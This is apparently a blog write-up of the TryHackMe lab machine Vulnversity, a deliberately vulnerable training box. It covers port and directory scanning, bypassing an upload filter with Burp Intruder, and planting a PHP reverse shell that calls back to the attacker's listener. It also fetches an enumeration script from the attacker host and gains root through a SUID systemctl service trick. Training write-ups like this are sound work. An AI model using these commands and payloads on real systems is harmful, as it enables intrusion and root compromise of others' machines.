Vulnversity
Hacking For RamenVulnversity is the first machine in TryHackMe’s “Offensive pentesting” path.

Enumeration
Starting with the nmap scan:
nmap -sC -sV 10.10.73.131 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu 3128/tcp open http-proxy Squid http proxy 3.5.12 3333/tcp open http Apache httpd 2.4.18 ((Ubuntu)) Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
According to the scan, the HTTP service is running on port 3333. First, we need to check if there are any juicy files/directories on the web server. The tool called gobuster can help with that:
gobuster dir -u http://10.10.73.131:3333 -w /usr/share/seclists/Discovery/Web-Content/common.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.73.131:3333 [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/10/07 12:40:42 Starting gobuster =============================================================== /.hta (Status: 403) /.htaccess (Status: 403) /.htpasswd (Status: 403) /css (Status: 301) /fonts (Status: 301) /images (Status: 301) /index.html (Status: 200) /internal (Status: 301) /js (Status: 301) /server-status (Status: 403) =============================================================== 2020/10/07 12:41:08 Finished ===============================================================
We can check /internal in the browser and discover a file upload feature there. Normally, that would be the way into the system, as you can try to upload a malicious file. If you will try to upload a standard PHP reverse shell, the page will cancel the request as the .php is blocked. It’s quite a classic scenario. Usually, there are a few ways from here:
- You’re trying to find which format is allowed
- You’re trying to mimic the header of the file to trick the checking mechanism. As this is an easy box, and the author is guiding you through the process, we will follow the first scenario.
Exploitation
By creating a simple wordlist we can brute force the request. As it’s a web application, the Burp Suite can help with that. Intercept the request from your browser, forward it to the Intruder (Ctrl+I). In the “Position” option, clear everything and set “Add §” around file extension. It should be like:
POST /internal/index.php HTTP/1.1 Host: 10.10.73.131:3333 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.73.131:3333/internal/index.php Content-Type: multipart/form-data; boundary=---------------------------9719036391959238806602173823 Content-Length: 338 Connection: close Upgrade-Insecure-Requests: 1-----------------------------9719036391959238806602173823 Content-Disposition: form-data; name="file"; filename="shell§.php§" Content-Type: application/octet-stream -----------------------------9719036391959238806602173823 Content-Disposition: form-data; name="submit" Submit -----------------------------9719036391959238806602173823--
We also need to set a wordlist, but for that we need to know what extension a PHP file can have. A quick google search can lead to the page with the list of extensions.
.php .php3 .php4 .php5 .phtml
Let the Burp Suite run and validate, that only .phtml will work in that case.
We will use a basic PHP reverse shell for that:
cp /usr/share/seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php . nano php-reverse-shell.php mv php-reverse-shell.php php-reverse-shell.phtml
Don’t forget to modify line 49 and 50 in it. It should be your tun0 IP and some random port:
$ip = '10.11.19.53'; // CHANGE THIS $port = 53; // CHANGE THIS
Start a listener with nc:
sudo nc -nlvp 53
The file is uploaded now, but we need to open it to trigger the shell. To find the location, we can use the gobuster one more time:
gobuster dir -u http://10.10.73.131:3333/internal -w /usr/share/seclists/Discovery/Web-Content/common.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.73.131:3333/internal [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/10/07 12:50:33 Starting gobuster =============================================================== /.hta (Status: 403) /.htaccess (Status: 403) /.htpasswd (Status: 403) /css (Status: 301) /index.php (Status: 200) /uploads (Status: 301) =============================================================== 2020/10/07 12:50:59 Finished ===============================================================
Navigate to the /uploads directory and open a file. That will spawn the shell
PrivEsc
Now we have a shell as www-data user. It is time to escalate the privileges to root. Stabilize the shell with
/usr/bin/script -qc /bin/bash /dev/null
We will use Linux Smart Enumeration for that. Clone the repo, copy the lse.sh into the folder and start a SimpleHTTPServer with python. Wget the file from your machine, add the rights to run it.
www-data@vulnuniversity:/tmp$ wget http://10.11.19.53/lse.sh wget http://10.11.19.53/lse.sh --2020-10-06 11:47:35-- http://10.11.19.53/lse.sh Connecting to 10.11.19.53:80... connected. HTTP request sent, awaiting response... 200 OK Length: 37926 (37K) [text/x-sh] Saving to: 'lse.sh' lse.sh 100%[===================>] 37.04K --.-KB/s in 0.1s 2020-10-06 11:47:35 (385 KB/s) - 'lse.sh' saved [37926/37926] www-data@vulnuniversity:/tmp$ chmod +x lse.sh chmod +x lse.sh www-data@vulnuniversity:/tmp$ ./lse.sh
The short version of lse.sh output:
LSE Version: 2.5
User: www-data
User ID: 33
Password: ******
Home: /var/www
Path: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
umask: 0000
Hostname: vulnuniversity
Linux: 4.4.0-142-generic
Distribution: Ubuntu 16.04.6 LTS
Architecture: x86_64
==================================================================( users )=====
[i] usr000 Current user groups............................................. yes!
[*] usr010 Is current user in an administrative group?..................... nope
[*] usr020 Are there other users in an administrative groups?.............. yes!
[*] usr030 Other users with shell.......................................... yes!
[i] usr040 Environment information......................................... skip
[i] usr050 Groups for other users.......................................... skip
[i] usr060 Other users..................................................... skip
[*] usr070 PATH variables defined inside /etc.............................. yes!
[!] usr080 Is '.' in a PATH variable defined inside /etc?.................. nope
===================================================================( sudo )=====
[!] sud000 Can we sudo without a password?................................. nope
[!] sud010 Can we list sudo commands without a password?................... nope
[!] sud020 Can we sudo with a password?.................................... nope
[!] sud030 Can we list sudo commands with a password?...................... nope
[*] sud040 Can we read /etc/sudoers?....................................... nope
[*] sud050 Do we know if any other users used sudo?........................ nope
============================================================( file system )=====
[*] fst000 Writable files outside user's home.............................. yes!
[*] fst010 Binaries with setuid bit........................................ yes!
[!] fst020 Uncommon setuid binaries........................................ yes!
---
/usr/lib/squid/pinger
/bin/systemctl
/sbin/mount.cifs
/bin/systemctl looks good. We can check if there is any known ways to PrivEsc by abusing SUID bit in the binary by checking its GTFOBin page.
We will create a service, run it with /bin/systemctl. In that case, it will be executed with root permissions, and then we can call the day.
TF=$(mktemp).service echo '[Service] Type=oneshot ExecStart=/bin/sh -c "chmod +s /bin/bash" [Install] WantedBy=multi-user.target' > $TF /bin/systemctl link $TF /bin/systemctl enable --now $TF
Creating a reverse root shell can also be the option, but let’s try this one. We should have a SUID bit on the /bin/bash binary now:
www-data@vulnuniversity:/tmp$ ls -lah /bin/bash -rwsr-sr-x 1 root root 1014K May 16 2017 /bin/bash www-data@vulnuniversity:/tmp$ /bin/bash bash-4.3$ whoami whoami www-data bash-4.3$
What?! Still not a root? But SUID bit is there! Yes, it is, but you have to use -p flag to make it work:
www-data@vulnuniversity:/tmp$ /bin/bash -p bash-4.3# whoami whoami root
Takeaway
- Enumeration is the key to everything
- Always try to fuzz the functionality of the endpoint
- This is a penetration test series, not a CTF. Focus on shells, not flags.